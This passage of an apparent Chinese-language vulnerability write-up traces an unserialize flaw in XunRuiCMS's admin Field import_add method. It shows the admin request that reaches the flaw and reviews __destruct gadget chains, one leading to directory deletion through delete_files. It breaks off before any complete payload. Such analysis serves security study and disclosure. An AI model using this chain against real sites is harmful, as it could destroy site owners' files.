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 truncated
|
||||
<p blockindex=11>找了很多,发现只有这个函数操作性比较强,其他的调用有许多是不可控的,或者是过滤</p>
|
||||
<pre blockindex=12><code class="hljs language-php">xunruicms\dayrui\Fcms\Control\Admin\Field.php
|
||||
</code></pre>
|
||||
<p blockindex=13><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=14>看看这个<code>import_add</code>方法</p>
|
||||
<p blockindex=15>首先,先判断是不是post请求,进入if语句,然后接收一个post参数code , 然后通过<code>\r\n</code>对字符串进行分割,变为数组</p>
|
||||
<p blockindex=16>如果post的code有数值,就不会进入if(!$arr), 绕后就遍历这个数组,把数组中的每一个数值都传到<code>dr_string2array</code>中,然后就是触发反序列化</p>
|
||||
<p blockindex=17>下一个问题,如何才能进入这个<code>import_add</code>函数呢</p>
|
||||
<p blockindex=18>在路由解析的过程中会接收两个参数,<code>c</code>和<code>m</code> 其中c获取的是类名,m获取的是方法名 ,获取之后会调用对应方法</p>
|
||||
<p blockindex=19>尝试访问</p>
|
||||
<pre blockindex=20><code class="hljs language-php">http:<span class=hljs-comment>//127.0.0.1/?c=field&m=import_add</span>
|
||||
</code></pre>
|
||||
<p blockindex=21>出现404</p>
|
||||
<p blockindex=22>观察一下目录,因为这个field类在Admin目录里面的,可能要访问admin.php</p>
|
||||
<pre blockindex=23><code class="hljs language-php">http:<span class=hljs-comment>//127.0.0.1/admin3a609e1d6cff.php?c=field&m=import_add</span>
|
||||
</code></pre>
|
||||
<p blockindex=24>在没有登录的情况下,会跳转到登录入口,所以要先登录管理员账号,可以通过下断点查看有没有执行到import_add方法</p>
|
||||
<pre blockindex=25><code class="hljs language-php">POST ?/admin3a609e1d6cff.php?c=field&m=import_add
|
||||
code = xxxx
|
||||
</code></pre>
|
||||
<h2 blockindex=26>利用链寻找</h2>
|
||||
<p blockindex=27>第一步寻找<code>__destruct()</code>方法,只有5个,一个一个找</p>
|
||||
<p blockindex=28><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=29>第一个</p>
|
||||
<pre blockindex=30><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
|
||||
</span>{
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-keyword>$this</span>->memcached <span class=hljs-keyword>instanceof</span> Memcached) {
|
||||
<span class=hljs-keyword>$this</span>->memcached->quit();
|
||||
} <span class=hljs-keyword>elseif</span> (<span class=hljs-keyword>$this</span>->memcached <span class=hljs-keyword>instanceof</span> Memcache) {
|
||||
<span class=hljs-keyword>$this</span>->memcached->close();
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=31>这个<code>$this->memcached</code>可控,但是要是Memcached 或 Memcached的实例 ,操作空间不大 pass</p>
|
||||
<p blockindex=32>第二个</p>
|
||||
<pre blockindex=33><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
|
||||
</span>{
|
||||
<span class=hljs-keyword>if</span> (is_resource(<span class=hljs-keyword>$this</span>->SMTPConnect)) {
|
||||
<span class=hljs-keyword>try</span> {
|
||||
<span class=hljs-keyword>$this</span>->sendCommand(<span class=hljs-string>'quit'</span>);
|
||||
} <span class=hljs-keyword>catch</span> (<span class=hljs-built_in>ErrorException</span> <span class=hljs-variable>$e</span>) {
|
||||
<span class=hljs-variable>$protocol</span> = <span class=hljs-keyword>$this</span>->getProtocol();
|
||||
<span class=hljs-variable>$method</span> = <span class=hljs-string>'sendWith'</span> . ucfirst(<span class=hljs-variable>$protocol</span>);
|
||||
log_message(<span class=hljs-string>'error'</span>, <span class=hljs-string>'Email: '</span> . <span class=hljs-variable>$method</span> . <span class=hljs-string>' throwed '</span> . <span class=hljs-variable>$e</span>);
|
||||
}
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=34><code>$this->SMTPConnect</code>可控,但是要是一个资源类型,后面进入<code>sendCommand</code>方法,里面操作空间不大 pass</p>
|
||||
<p blockindex=35>第三个</p>
|
||||
<pre blockindex=36><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
|
||||
</span>{
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-keyword>isset</span>(<span class=hljs-keyword>$this</span>->scratch)) {
|
||||
<span class=hljs-built_in>self</span>::wipeDirectory(<span class=hljs-keyword>$this</span>->scratch);
|
||||
<span class=hljs-keyword>$this</span>->scratch = <span class=hljs-literal>null</span>;
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=37>这个会调用<code>self::wipeDirectory</code> ,<code>$this->scratch</code>可控,跟进查看</p>
|
||||
<pre blockindex=38><code class="hljs language-php"><span class=hljs-keyword>private</span> <span class=hljs-built_in>static</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>wipeDirectory</span>(<span class=hljs-params><span class=hljs-keyword>string</span> <span class=hljs-variable>$directory</span></span>): <span class=hljs-title>void</span>
|
||||
</span>{
|
||||
<span class=hljs-keyword>if</span> (is_dir(<span class=hljs-variable>$directory</span>)) {
|
||||
<span class=hljs-comment>// Try a few times in case of lingering locks </span>
|
||||
<span class=hljs-variable>$attempts</span> = <span class=hljs-number>10</span>;
|
||||
|
||||
<span class=hljs-keyword>while</span> ((<span class=hljs-keyword>bool</span>) <span class=hljs-variable>$attempts</span> && ! delete_files(<span class=hljs-variable>$directory</span>, <span class=hljs-literal>true</span>, <span class=hljs-literal>false</span>, <span class=hljs-literal>true</span>)) {
|
||||
<span class=hljs-comment>// @codeCoverageIgnoreStart </span>
|
||||
<span class=hljs-variable>$attempts</span>--;
|
||||
usleep(<span class=hljs-number>100000</span>); <span class=hljs-comment>// .1s </span>
|
||||
<span class=hljs-comment>// @codeCoverageIgnoreEnd </span>
|
||||
}
|
||||
|
||||
@rmdir(<span class=hljs-variable>$directory</span>);
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=39>这里调用了<code>delete_files</code>似乎可以进行文件删除,继续跟进<code>delete_files</code></p>
|
||||
<pre blockindex=40><code class="hljs language-php"><span class=hljs-comment>//\xunruicms\dayrui\CodeIgniter\System\Helpers\filesystem_helper.php </span>
|
||||
